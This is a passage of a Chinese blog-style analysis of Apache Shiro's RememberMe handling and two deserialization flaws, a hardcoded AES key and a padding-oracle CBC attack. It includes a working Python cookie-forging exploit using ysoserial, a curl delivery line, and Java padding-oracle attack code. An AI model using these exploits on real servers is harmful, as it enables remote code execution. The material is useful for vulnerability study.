perms(PermissionsAuthorizationFilter.class),
port(PortFilter.class),
rest(HttpMethodPermissionFilter.class),
roles(RolesAuthorizationFilter.class),
ssl(SslFilter.class),
user(UserFilter.class);
而其中，我们最常使用的大概是：
1. anon：无需登录认证即可访问
2. authc：需要登录认证才可访问
3. logout：注销filter
4. perms：具有特点权限授权才可访问
5. roles：某个角色才可访问
6. user：使用RememberMe
以上这些便是第一步所做的一切。
1. 对我们要添加或者修改的filter进行遍历配置
Map<String, Filter> filters = getFilters();
if (!CollectionUtils.isEmpty(filters)) {
for (Map.Entry<String, Filter> entry : filters.entrySet()) {
String name = entry.getKey();
Filter filter = entry.getValue();
applyGlobalPropertiesIfNecessary(filter);
if (filter instanceof Nameable) {
((Nameable) filter).setName(name);
}
//'init' argument is false, since Spring-configured filters should be initialized
//in Spring (i.e. 'init-method=blah') or implement InitializingBean:
manager.addFilter(name, filter, false);
}
}
不像前面默认预置的filter，从枚举类遍历获取，我们添加或修改的filter，都是首先设置到ShiroFilterFactoryBean中的，所以会从其中读取所以我们需要添加、修改的filter出来，然后进行全局的配置设置
在这一处，我们添加或修改的filter，其实就如我们前面所讲的，我们一般在使用shiro的时候，如果我们要加入图形验证码、短信验证码等验证，都会通过filter的形式添加，这里面的filter就是这一步中遍历的filter了。
1. 创建过滤器链（filter chains）
Map<String, String> chains = getFilterChainDefinitionMap();
if (!CollectionUtils.isEmpty(chains)) {
for (Map.Entry<String, String> entry : chains.entrySet()) {
String url = entry.getKey();
String chainDefinition = entry.getValue();
manager.createChain(url, chainDefinition);
}
}
可以看到，getFilterChainDefinitionMap()方法读取的集合，其实回顾到我们前面所描述的配置spring-shiro.xml中，可以看到，我们其实做了这样的一个配置
/html/admin/**=authc,roles[admin]
/html/user/**=user,roles[user]
/jsp/admin/**=authc,roles[admin]
/jsp/user/**=user,roles[user]
在第一步，就讲述了默认内置的filter具有哪些，以及一些常用的filter
可以看到，上面的四个FilterChainDefinition，都使用了最常用的filter
* /html/admin/**：该路径的请求，需要当前用户在登录认证后的状态，以及用户为admin角色时才可访问
* /html/user/**：该路径的请求，在用户曾经登录认证时，勾选了RememberMe，在后续登录状态，也即Session过期后，可以通过Cookie中的RememberMe进行免登录认证
* /jsp/admin/**：与上述/html/admin/一致
* /jsp/user/**：与上述/html/user/一致
也就是说，过滤器链的创建，跟这个FilterChainDefinition紧密关联，对于每一个path的配置，都会创建一个相应的过滤器链
看到这里，应该还会有人问，什么是过滤器链？
在shiro中，过滤器链就是我们前面两个步骤中的过滤器组成的一条链，当一个符合路径规则的请求进来后，都需要通过其执行一系列的过滤。
回到createInstance()方法，我们继续跟到下一个，也就是我们之前所说的PathMatchingFilterChainResolver的创建，前面也讲过了，这个resolver的作用是在一个http请求进来时，用于提取http请求的path，然后匹配相应的FilterChains进行过滤请求，也就是说，我们前面根据配置创建的过滤器链，需要通过这个resolver，才能知道某个请求执行哪一个过滤器链，为了一究其匹配原理，我们跟进PathMatchingFilterChainResolver
审阅代码，可以看到一个关键的方法-getChain()
public FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) {
FilterChainManager filterChainManager = getFilterChainManager();
if (!filterChainManager.hasChains()) {
return null;
}
String requestURI = getPathWithinApplication(request);
//the 'chain names' in this implementation are actually path patterns defined by the user. We just use them
//as the chain name for the FilterChainManager's requirements
for (String pathPattern : filterChainManager.getChainNames()) {
// If the path does match, then pass on to the subclass implementation for specific checks:
if (pathMatches(pathPattern, requestURI)) {
if (log.isTraceEnabled()) {
log.trace("Matched path pattern [" + pathPattern + "] for requestURI [" + requestURI + "]. " +
"Utilizing corresponding filter chain...");
}
return filterChainManager.proxy(originalChain, pathPattern);
}
}
return null;
}
这个方法主要做了三件事情：
1. 获取并检查FilterChainManager
2. 获取当前请求的URL
3. 遍历过滤器链filter chains，匹配当前请求URL相应的filter chain去执行
而上面第三件事情，就是PathMatchingFilterChainResolver的核心，它通过遍历我们前面创建的所有filter
chains，回顾前面我们对FilterChainDefinition的配置，它的URL都是一个正则的匹配字符串，也就是说，通过它去正则匹配当前请求的URL，只要能匹配上的第一个filter
chain，就是所要执行的过滤器链。
在PathMatchingFilterChainResolver创建成功后，最后会把我们所创建的SecurityManager和PathMatchingFilterChainResolver，参与到SpringShiroFilter的实例化中来，并作为真正的ShiroFilterFactoryBean返回。
SpringShiroFilter是ShiroFilterFactoryBean的一个静态内部类，它通过继承AbstractShiroFilter来实现shiro的核心功能（过滤请求）
private static final class SpringShiroFilter extends AbstractShiroFilter {
//...
}
先上跟进AbstractShiroFilter以及其父类OncePerRequestFilter，并继续向上跟进源码，我们可以发现，最早它们都实现了javax.servlet.Filter，所以表明它们就是一个不折不扣的过滤器，查看OncePerRequestFilter的源码也能发现其对doFilter()方法的实现，看到这里，大家也会很清晰了，这个filter在请求进来的时候，通过过滤器肯定是会执行到这个方法
public final void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
throws ServletException, IOException {
String alreadyFilteredAttributeName = getAlreadyFilteredAttributeName();
if ( request.getAttribute(alreadyFilteredAttributeName) != null ) {
log.trace("Filter '{}' already executed. Proceeding without invoking this filter.", getName());
filterChain.doFilter(request, response);
} else //noinspection deprecation
if (/* added in 1.2: */ !isEnabled(request, response) ||
/* retain backwards compatibility: */ shouldNotFilter(request) ) {
log.debug("Filter '{}' is not enabled for the current request. Proceeding without invoking this filter.",
getName());
filterChain.doFilter(request, response);
} else {
// Do invoke this filter...
log.trace("Filter '{}' not yet executed. Executing now.", getName());
request.setAttribute(alreadyFilteredAttributeName, Boolean.TRUE);
try {
doFilterInternal(request, response, filterChain);
} finally {
// Once the request has finished, we're done and we don't
// need to mark as 'already filtered' any more.
request.removeAttribute(alreadyFilteredAttributeName);
}
}
}
在正常使用情况下，基本都是执行到doFilterInternal()方法，在跟进它的源码可以发现，它是一个抽象方法，因为OncePerRequestFilter是一个抽象类
protected abstract void doFilterInternal(ServletRequest request, ServletResponse response, FilterChain chain)
throws ServletException, IOException;
既然这是个抽象类，那么大概这个方法的实现是在其子类里了，果不其然，在其子类AbstractShiroFilter中
protected void doFilterInternal(ServletRequest servletRequest, ServletResponse servletResponse, final FilterChain chain)
throws ServletException, IOException {
Throwable t = null;
try {
final ServletRequest request = prepareServletRequest(servletRequest, servletResponse, chain);
final ServletResponse response = prepareServletResponse(request, servletResponse, chain);
final Subject subject = createSubject(request, response);
//noinspection unchecked
subject.execute(new Callable() {
public Object call() throws Exception {
updateSessionLastAccessTime(request, response);
executeChain(request, response, chain);
return null;
}
});
} catch (ExecutionException ex) {
t = ex.getCause();
} catch (Throwable throwable) {
t = throwable;
}
if (t != null) {
if (t instanceof ServletException) {
throw (ServletException) t;
}
if (t instanceof IOException) {
throw (IOException) t;
}
//otherwise it's not one of the two exceptions expected by the filter method signature - wrap it in one:
String msg = "Filtered request failed.";
throw new ServletException(msg, t);
}
}
这个方法，我总结一下，主要做了两件总要的事情：
1. 创建Subject
2. 执行filter chains
那么我们一一跟进去，看看它们到底是如何工作的。
跟进createSubject()方法
protected WebSubject createSubject(ServletRequest request, ServletResponse response) {
return new WebSubject.Builder(getSecurityManager(), request, response).buildWebSubject();
}
它通过了WebSubject的Builder，使用了创建者模式去创建这一个Subject的实现WebSubject
继续跟进buildWebSubject()方法
public WebSubject buildWebSubject() {
Subject subject = super.buildSubject();
if (!(subject instanceof WebSubject)) {
String msg = "Subject implementation returned from the SecurityManager was not a " +
WebSubject.class.getName() + " implementation. Please ensure a Web-enabled SecurityManager " +
"has been configured and made available to this builder.";
throw new IllegalStateException(msg);
}
return (WebSubject) subject;
}
Subject->buildSubject
public Subject buildSubject() {
return this.securityManager.createSubject(this.subjectContext);
}
最终可以发现，是通过我们配置的web安全管理器（WebSecurityManager）来创建Subject的
public Subject createSubject(SubjectContext subjectContext) {
//create a copy so we don't modify the argument's backing map:
SubjectContext context = copy(subjectContext);
//ensure that the context has a SecurityManager instance, and if not, add one:
context = ensureSecurityManager(context);
//Resolve an associated Session (usually based on a referenced session ID), and place it in the context before
//sending to the SubjectFactory. The SubjectFactory should not need to know how to acquire sessions as the
//process is often environment specific - better to shield the SF from these details:
context = resolveSession(context);
//Similarly, the SubjectFactory should not require any concept of RememberMe - translate that here first
//if possible before handing off to the SubjectFactory:
context = resolvePrincipals(context);
Subject subject = doCreateSubject(context);
//save this subject for future reference if necessary:
//(this is needed here in case rememberMe principals were resolved and they need to be stored in the
//session, so we don't constantly rehydrate the rememberMe PrincipalCollection on every operation).
//Added in 1.2:
save(subject);
return subject;
}
* SubjectContext context = copy(subjectContext);
对SubjectContext的一个简单复制，因为每次请求都应有它自己的一个上下文，不应该混合，所以每次请求，都会通过它去复制一个SubjectContext用于本次请求
* context = ensureSecurityManager(context);
把安全管理器设置到SubjectContext中
* context = resolveSession(context);
通过上下文中存储的session
id，去会话管理器，回顾我们前面的配置，可以知道是一个ehcache的会话管理器，意味着，我们得回话都是存储在缓存中的，使用ehcache可以更方便的进行集群部署，以同步回话数据
* context = resolvePrincipals(context);
这个是RememberMe的核心处，也是我们后面要详细讲的地方
* Subject subject = doCreateSubject(context);
根据前面做的事情，在这一步创建Subject
* save(subject);
把Subject保存到Session中
**上面几点就是createSubject()方法逻辑的大概总结**
接下来我们进一步去分析RememberMe模块的逻辑，跟进resolvePrincipals()方法
protected SubjectContext resolvePrincipals(SubjectContext context) {
PrincipalCollection principals = context.resolvePrincipals();
if (isEmpty(principals)) {
log.trace("No identity (PrincipalCollection) found in the context. Looking for a remembered identity.");
principals = getRememberedIdentity(context);
if (!isEmpty(principals)) {
log.debug("Found remembered PrincipalCollection. Adding to the context to be used " +
"for subject construction by the SubjectFactory.");
context.setPrincipals(principals);
} else {
log.trace("No remembered identity found. Returning original context.");
}
}
return context;
}
此处可以看到，是从上下文解析出凭证信息PrincipalCollection，如果获取不到，就会调用getRememberedIdentity()方法获取，最后设置到上下文中
protected PrincipalCollection getRememberedIdentity(SubjectContext subjectContext) {
RememberMeManager rmm = getRememberMeManager();
if (rmm != null) {
try {
return rmm.getRememberedPrincipals(subjectContext);
} catch (Exception e) {
if (log.isWarnEnabled()) {
String msg = "Delegate RememberMeManager instance of type [" + rmm.getClass().getName() +
"] threw an exception during getRememberedPrincipals().";
log.warn(msg, e);
}
}
}
return null;
}
public RememberMeManager getRememberMeManager() {
return rememberMeManager;
}
回顾前面的安全管理器的bean配置，我们可以清楚的记得其实现class是org.apache.shiro.web.mgt.DefaultWebSecurityManager，也就是当前类DefaultSecurityManager的子类
我们观察该子类的构造方法
public DefaultWebSecurityManager() {
super();
DefaultWebSessionStorageEvaluator webEvalutator = new DefaultWebSessionStorageEvaluator();
((DefaultSubjectDAO) this.subjectDAO).setSessionStorageEvaluator(webEvalutator);
this.sessionMode = HTTP_SESSION_MODE;
setSubjectFactory(new DefaultWebSubjectFactory());
setRememberMeManager(new CookieRememberMeManager());
setSessionManager(new ServletContainerSessionManager());
webEvalutator.setSessionManager(getSessionManager());
}
从构造方法可以很清楚的了解到，RememberMeManager的实现为CookieRememberMeManager
那么，我们继续跟进到getRememberedPrincipals()方法中来
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}
return principals;
}
其中，主要就是两个点
1. 从cookie中读取rememberMe值，通过base64解码后再进行AES解密，得到其解密后的字节数据bytes
2. 把解密后的字节数据bytes反序列化为PrincipalCollection对象
那么，聪明的人就会发现，如果我们可以控制解密后的明文，我们就可以实现反序列化RCE了
### 0x02 反序列化远古洞（Shiro <= 1.2.4）
前面讲到了RememberMe这个点，接着，我们跟进1.2.4这个shiro版本的源码，去分析一下这个远古洞产生的原因吧。
RememberMeManager的实现为CookieRememberMeManager，我们延续上一章，跟进其源码getRememberedPrincipals()方法实现，可以发现，CookieRememberMeManager并没有其实现方法，在向上跟踪时发现，它是继承了org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals，所以我们跟进到AbstractRememberMeManager的getRememberedPrincipals()方法实现
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}
return principals;
}
而getRememberedSerializedIdentity()抽象方法由其子类CookieRememberMeManager实现
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
//...
String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;
if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}
通过调用SimpleCookie的readValue()方法读取了一个base64的cookie值
public static final String DEFAULT_REMEMBER_ME_COOKIE_NAME = "rememberMe";
private Cookie cookie;
/**
* Constructs a new {@code CookieRememberMeManager} with a default {@code rememberMe} cookie template.
*/
public CookieRememberMeManager() {
Cookie cookie = new SimpleCookie(DEFAULT_REMEMBER_ME_COOKIE_NAME);
cookie.setHttpOnly(true);
//One year should be long enough - most sites won't object to requiring a user to log in if they haven't visited
//in a year:
cookie.setMaxAge(Cookie.ONE_YEAR);
this.cookie = cookie;
}
通过审阅CookieRememberMeManager源码可以发现，该cookie名为rememberMe
private String ensurePadding(String base64) {
int length = base64.length();
if (length % 4 != 0) {
StringBuilder sb = new StringBuilder(base64);
for (int i = 0; i < length % 4; ++i) {
sb.append('=');
}
base64 = sb.toString();
}
return base64;
}
接着通过调用ensurePadding()方法，如果rememberMe的base64值不符合规范，就会对其进行=符号的补充
最后调用`byte[] decoded = Base64.decode(base64);`对其base64解码返回
回到方法getRememberedPrincipals()
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}
return principals;
}
接着是对base64解码后的数据执行convertBytesToPrincipals()方法，看名称，其实表达了很清晰的含义了，就是把字节数据转换为凭证
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}
其中decrypt()方法就是对其进行ASE解密，然后由deserialize()方法对其解密数据进行反序列化
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
这里有一个很关键的地方，也是这个远古漏洞造成的原因，就是getDecryptionCipherKey()方法
public byte[] getDecryptionCipherKey() {
return decryptionCipherKey;
}
它返回了一个AES解密的key，通过跟踪其设置的代码，可以跟到
public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
没错，这个AES解密的key在默认情况下，是一个预置的值，那么到这里，这个漏洞的成因以及完全剖析结束了，那么，我们试试效果？
这是我测试的exploits：
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(payload,command):
popen = subprocess.Popen(['java', '-jar', '../ysoserial/ysoserial-0.0.6-SNAPSHOT-all.jar', payload, command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
#iv = base64.b64decode(rememberMe)[:16]
iv = uuid.uuid4().bytes
print(iv)
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
print(sys.argv[1],sys.argv[2])
payload = encode_rememberme(sys.argv[1],sys.argv[2])
with open("payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
~
通过这个exp，就能生成攻击的cookie，最后使用这个cookie，就能达到RCE
curl -d "" "http://A.B.C.D:8080/login" --cookie "`cat payload.cookie`"
漏洞的修复：
在爆出这样的一个漏洞后，shiro官方的修复手段也很简单，就是让shiro每次启动，都会随机生成一个新的key作为AES解密的key，从而修复这个远古洞。
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
AesCipherService cipherService = new AesCipherService();
this.cipherService = cipherService;
setCipherKey(cipherService.generateNewKey().getEncoded());
}
### 0x03 PaddingOracle CBC Attack（shiro <= 1.4.1）
在好几年前的远古洞被修复之后，为何在前段时间，又爆出了新的RCE洞，而且还是在AES这个地方。
基本上，玩过CTF的人，大部分都了解过padding oracle和cbc翻转攻击，如果不太了解的，我建议看看[《我对Padding
Oracle攻击的分析和思考（详细）》](https://www.freebuf.com/articles/web/15504.html)这个文章。
要进行padding oracle攻击，需要目标系统满足一个条件，就是对于ASE解密时padding的正确与否，目标会返回一个明确的信息，类似布尔盲注。
我们转到被爆出漏洞的shiro版本（1.4.1）源码
回到org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals这个方法
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}
return principals;
}
我这里列出一条执行方法栈
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}
->
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
->
public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
byte[] encrypted = ciphertext;
//No IV, check if we need to read the IV from the stream:
byte[] iv = null;
if (isGenerateInitializationVectors(false)) {
try {
//We are generating IVs, so the ciphertext argument array is not actually 100% cipher text. Instead, it
//is:
// - the first N bytes is the initialization vector, where N equals the value of the
// 'initializationVectorSize' attribute.
// - the remaining bytes in the method argument (arg.length - N) is the real cipher text.
//So we need to chunk the method argument into its constituent parts to find the IV and then use
//the IV to decrypt the real ciphertext:
int ivSize = getInitializationVectorSize();
int ivByteSize = ivSize / BITS_PER_BYTE;
//now we know how large the iv is, so extract the iv bytes:
iv = new byte[ivByteSize];
System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);
//remaining data is the actual encrypted ciphertext. Isolate it:
int encryptedSize = ciphertext.length - ivByteSize;
encrypted = new byte[encryptedSize];
System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
} catch (Exception e) {
String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
throw new CryptoException(msg, e);
}
}
return decrypt(encrypted, key, iv);
}
->
private byte[] crypt(byte[] bytes, byte[] key, byte[] iv, int mode) throws IllegalArgumentException, CryptoException {
if (key == null || key.length == 0) {
throw new IllegalArgumentException("key argument cannot be null or empty.");
}
javax.crypto.Cipher cipher = initNewCipher(mode, key, iv, false);
return crypt(cipher, bytes);
}
->
private byte[] crypt(javax.crypto.Cipher cipher, byte[] bytes) throws CryptoException {
try {
return cipher.doFinal(bytes);
} catch (Exception e) {
String msg = "Unable to execute 'doFinal' with cipher instance [" + cipher + "].";
throw new CryptoException(msg, e);
}
}
这个执行栈有点长，但最终执行到最后一步crypt()方法时，如果解密出现padding错误的话，就会直接抛出异常`throw new
CryptoException(msg,
e);`，一直向上，直到我们刚刚说的getRememberedPrincipals()方法，接着被try、catch捕获异常，由onRememberedPrincipalFailure()方法进行处理
跟进其方法发现，forgetIdentity()方法在当前的AbstractRememberMeManager类并没有实现
protected PrincipalCollection onRememberedPrincipalFailure(RuntimeException e, SubjectContext context) {
if (log.isWarnEnabled()) {
String message = "There was a failure while trying to retrieve remembered principals. This could be due to a " +
"configuration problem or corrupted principals. This could also be due to a recently " +
"changed encryption key, if you are using a shiro.ini file, this property would be " +
"'securityManager.rememberMeManager.cipherKey' see: http://shiro.apache.org/web.html#Web-RememberMeServices. " +
"The remembered identity will be forgotten and not used for this request.";
log.warn(message);
}
forgetIdentity(context);
//propagate - security manager implementation will handle and warn appropriately
throw e;
}
跟进其实现类org.apache.shiro.web.mgt.CookieRememberMeManager#forgetIdentity(org.apache.shiro.subject.SubjectContext)
public void forgetIdentity(SubjectContext subjectContext) {
if (WebUtils.isHttp(subjectContext)) {
HttpServletRequest request = WebUtils.getHttpRequest(subjectContext);
HttpServletResponse response = WebUtils.getHttpResponse(subjectContext);
forgetIdentity(request, response);
}
}
private void forgetIdentity(HttpServletRequest request, HttpServletResponse response) {
getCookie().removeFrom(request, response);
}
可以看到，最后调用的是rememberMe这个cookie对应的SimpleCookie对象的removeFrom()方法
public static final String DELETED_COOKIE_VALUE = "deleteMe";
public void removeFrom(HttpServletRequest request, HttpServletResponse response) {
String name = getName();
String value = DELETED_COOKIE_VALUE;
String comment = null; //don't need to add extra size to the response - comments are irrelevant for deletions
String domain = getDomain();
String path = calculatePath(request);
int maxAge = 0; //always zero for deletion
int version = getVersion();
boolean secure = isSecure();
boolean httpOnly = false; //no need to add the extra text, plus the value 'deleteMe' is not sensitive at all
SameSiteOptions sameSite = null;
addCookieHeader(response, name, value, comment, domain, path, maxAge, version, secure, httpOnly, sameSite);
log.trace("Removed '{}' cookie by setting maxAge=0", name);
}
很简单，源码可以看出来，覆盖掉了rememberMe这个cookie的值为deleteMe
那么，答案就呼之欲出了，只要padding错误，服务端就会返回一个cookie: **rememberMe=deleteMe;**
那么，上面讲述了padding错误的返回特征后，那么padding正确的特征到底是如何呢？
因为java原生的反序列化，是按照约定的格式读取序列化数据，一步一步反序列化的，那么也就是说，我如果在序列化数据后面加入一些数据，是不会影响反序列化的，这里可以参考一下[《浅析Java序列化和反序列化》](https://xz.aliyun.com/t/3847)
那么，既然在序列化数据后面加上一段数据，不会影响反序列化，也就是说，我们可以利用一个已有的rememberMe
cookie值（AES加密的序列化数据），在其后加入一段数据，只要ASE能正确解密数据，就必然能被反序列化。
也就是说，在padding正常的情况下，反序列化能正常进行，web系统能知道我们的身份，在启用RememberMe，也就是配置了user的filter
chain的接口或页面，就能正常的返回数据。
为什么说 _配置了user的filter chain的接口或页面，就能正常的返回数据_ ？
我们回到最初的org.apache.shiro.web.servlet.AbstractShiroFilter#doFilterInternal处，在创建完成Subject后，我们说过，会执行一个filter
chain
subject.execute(new Callable() {
public Object call() throws Exception {
updateSessionLastAccessTime(request, response);
executeChain(request, response, chain);
return null;
}
});
跟进其executeChain()方法
protected void executeChain(ServletRequest request, ServletResponse response, FilterChain origChain)
throws IOException, ServletException {
FilterChain chain = getExecutionChain(request, response, origChain);
chain.doFilter(request, response);
}
其中比较关心的是getExecutionChain()方法，通过调用这个方法，返回了一个FilterChain，然后执行其doFilter()方法过滤请求
protected FilterChain getExecutionChain(ServletRequest request, ServletResponse response, FilterChain origChain) {
FilterChain chain = origChain;
FilterChainResolver resolver = getFilterChainResolver();
if (resolver == null) {
log.debug("No FilterChainResolver configured. Returning original FilterChain.");
return origChain;
}
FilterChain resolved = resolver.getChain(request, response, origChain);
if (resolved != null) {
log.trace("Resolved a configured FilterChain for the current request.");
chain = resolved;
} else {
log.trace("No FilterChain configured for the current request. Using the default.");
}
return chain;
}
到这里，我们应该隐约还有一些前面讲的内容的记忆吧？。。。没错，就是FilterChainResolver的实现PathMatchingFilterChainResolver，这里就是对其进行调用的地方了，通过调用其getChain()方法，找到相应的过滤器链执行过滤请求，那么，上面所说的user，对应的filter就是UserFilter
public class UserFilter extends AccessControlFilter {
/**
* Returns <code>true</code> if the request is a
* {@link #isLoginRequest(javax.servlet.ServletRequest, javax.servlet.ServletResponse) loginRequest} or
* if the current {@link #getSubject(javax.servlet.ServletRequest, javax.servlet.ServletResponse) subject}
* is not <code>null</code>, <code>false</code> otherwise.
*
* @return <code>true</code> if the request is a
* {@link #isLoginRequest(javax.servlet.ServletRequest, javax.servlet.ServletResponse) loginRequest} or
* if the current {@link #getSubject(javax.servlet.ServletRequest, javax.servlet.ServletResponse) subject}
* is not <code>null</code>, <code>false</code> otherwise.
*/
protected boolean isAccessAllowed(ServletRequest request, ServletResponse response, Object mappedValue) {
if (isLoginRequest(request, response)) {
return true;
} else {
Subject subject = getSubject(request, response);
// If principal is not null, then the user is known and should be allowed access.
return subject.getPrincipal() != null;
}
}
/**
* This default implementation simply calls
* {@link #saveRequestAndRedirectToLogin(javax.servlet.ServletRequest, javax.servlet.ServletResponse) saveRequestAndRedirectToLogin}
* and then immediately returns <code>false</code>, thereby preventing the chain from continuing so the redirect may
* execute.
*/
protected boolean onAccessDenied(ServletRequest request, ServletResponse response) throws Exception {
saveRequestAndRedirectToLogin(request, response);
return false;
}
}
重点在isAccessAllowed()方法，判断了请求是否是登录请求，若是，则直接通过，否则会从上下文中取出前面创建的Subject，其中含有前面反序列化rememberMe解密数据得到的PrincipalCollection，也就是说，只要能正常反序列化成功，那么这里就会直接通过。
从这里我们就可以知道，我们为什么需要一个配置为user的接口或者页面了。
好了，两个最重要的条件就出来了：
1. padding失败，返回一个cookie: **rememberMe=deleteMe;**
2. padding成功，返回正常的响应数据
如果我们要进行padding oracle攻击，那我们只要判断响应头是否包含有cookie: **rememberMe=deleteMe;**
，就能确定padding是否正常了。
那padding oracle究竟如何去实现呢？这里我推荐p0's师傅的文章[《Shiro Padding Oracle Attack
反序列化》](https://p0sec.net/index.php/archives/126/)
我这里也自己手撸了一个Java版的shiro padding oracle cbc attack
exploits，放在marshalsec，大家可以参考一下，<https://github.com/threedr3am/marshalsec>
熟悉Java代码的，很容易能看出来，下面的代码，每一轮padding爆破是把一个data数据拼接到原有的rememberMe
cookie，然后请求web服务端，根据其响应做出判断
private void attack(byte[] bytes) {
byte[] originRememberMe = Base64.getDecoder().decode(rememberMe.getBytes());
CBCResult cbcResult = PaddingOracleCBCForShiro
.paddingOracleCBC(bytes, data -> {
try {
byte[] newRememberMe = new byte[originRememberMe.length + data.length];
System.arraycopy(originRememberMe, 0, newRememberMe, 0, originRememberMe.length);
System.arraycopy(data, 0, newRememberMe, originRememberMe.length, data.length);
return request(newRememberMe);
} catch (Exception e) {
e.printStackTrace();
}
return false;
});
byte[] remenberMe = new byte[cbcResult.getIv().length + cbcResult.getCrypt().length];
System.arraycopy(cbcResult.getIv(), 0, remenberMe, 0, cbcResult.getIv().length);
System.arraycopy(cbcResult.getCrypt(), 0, remenberMe, cbcResult.getIv().length,
cbcResult.getCrypt().length);
System.out.println("remenberMe=" + Base64.getEncoder().encodeToString(remenberMe));
request(remenberMe);
}
而下面的代码，就是像荐p0's师傅文章所说的，不断用两个block，去padding
oracle，得到middle后，接着进行cbc翻转攻击，把我们预期要解密出cbcResBytes，也就是一个序列化的攻击payload，一段段的利用cbc翻转，得到相应的密文，接着存储到res这个数值，在全部都遍历攻击完毕后，通过CBCResult这个对象返回
public static CBCResult paddingOracleCBC(byte[] cbcResBytes,
Predicate<byte[]> predicate) {
//填充期望结果长度为16字节的倍数
cbcResBytes = padding(cbcResBytes);
System.out.println("[payload-length]:" + cbcResBytes.length);
//该值为期望结果的组数-1，用于不断反向取出每组期望值去CBC攻击
int cbcResGroup = cbcResBytes.length / 16;
byte[] res = new byte[cbcResBytes.length];
byte[] iv = new byte[16];
byte[] crypt = new byte[16];
int paddingLen = 0;
for (; cbcResGroup > 0; cbcResGroup--) {
System.out.println("[padding-length]:" + (paddingLen+=16) + "/" + cbcResBytes.length);
byte[] middle = paddingOracle(iv, crypt, predicate);
byte[] plain = generatePlain(iv, middle);
byte[] plainTmp = Arrays.copyOf(plain, plain.length);
plainTmp = unpadding(plainTmp);
System.out.println("[plain]:" + new String(plainTmp));
byte[] cbcResTmp = Arrays.copyOfRange(cbcResBytes, (cbcResGroup - 1) * 16, cbcResGroup * 16);
//构造新的iv，cbc攻击
byte[] ivBytesNew = cbcAttack(iv, cbcResTmp, plain);
System.out.println("[cbc->plain]:" + new String(generatePlain(ivBytesNew, middle)));
System.arraycopy(crypt, 0, res, (cbcResGroup - 1) * 16, 16);
crypt = ivBytesNew;
iv = new byte[iv.length];
}
